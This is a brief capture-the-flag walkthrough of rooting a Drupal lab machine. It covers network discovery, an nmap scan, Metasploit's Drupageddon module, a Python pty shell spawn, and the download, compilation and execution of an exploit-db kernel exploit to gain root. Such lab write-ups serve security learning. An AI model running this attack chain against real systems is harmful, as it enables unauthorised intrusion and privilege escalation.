**Ctf walkthrough – drupal machine hack**

**-shreya ghosal**

* First using ***netdiscover*** command find the ip address in your local area
* Then you will come across few ip addresses, from which we have to select that particular ip address which is for the drupal machine
* To check use ***ping*** command
* I got **192.168.43.129** as the ip address for the drupal machine
* Use ***nmap*** scan to see the open ports
* As using nmap scan I got port 80 as open
* Which redirects me to a website asking for id and password
* Then exploit I used **metasploitable exploit**
* Write the command ***msfconsole***
* You will be able to start exploiting
* ***Search drupal***
* And ***use exploit/multi/http/drupal\_drupageddon***
* Press enter
* ***Show options*** to see
* ***Set rhosts*** to the ip of the remote host(192.168.43.129)
* ***Set rport 80***
* And start exploit by writing ***exploit***
* Upon execution write command shell to have better visibility
* Then write : ***echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py***
* Press enter
* ***python /tmp/asdf.py***
* then to find the kernel version of ubuntu write the command***: lsb\_release -a*** and press enter
* next up to download the file : ***find /-writable-type d 2>/dev/null*** and press enter
* Next to go to tmp folder(command***: cd /tmp/)***
* Command to download the exploit : ***wget*** [***https://www.exploit-db.com/download/37292***](https://www.exploit-db.com/download/37292)
* Now since we have downloaded the file and compile it and then run it to have the control of root
* Use command: ***mv 37292 37292.c*** (to move the file)
* ***Gcc 37292.c -o kernel***(to compile the file and output save it as kernel)
* ***Chmod 777 kernel*** ( will give permission to execute the file)
* ***./kernel*** -to execute the file
* After all this we have already entered to root
* Type command ***whoami*** to see whether you are in root or not
* ***Cd/root*** will take you to root folder
* ***Ls*** to list all the files
* Woah! we found a file inside that **is dave.tc**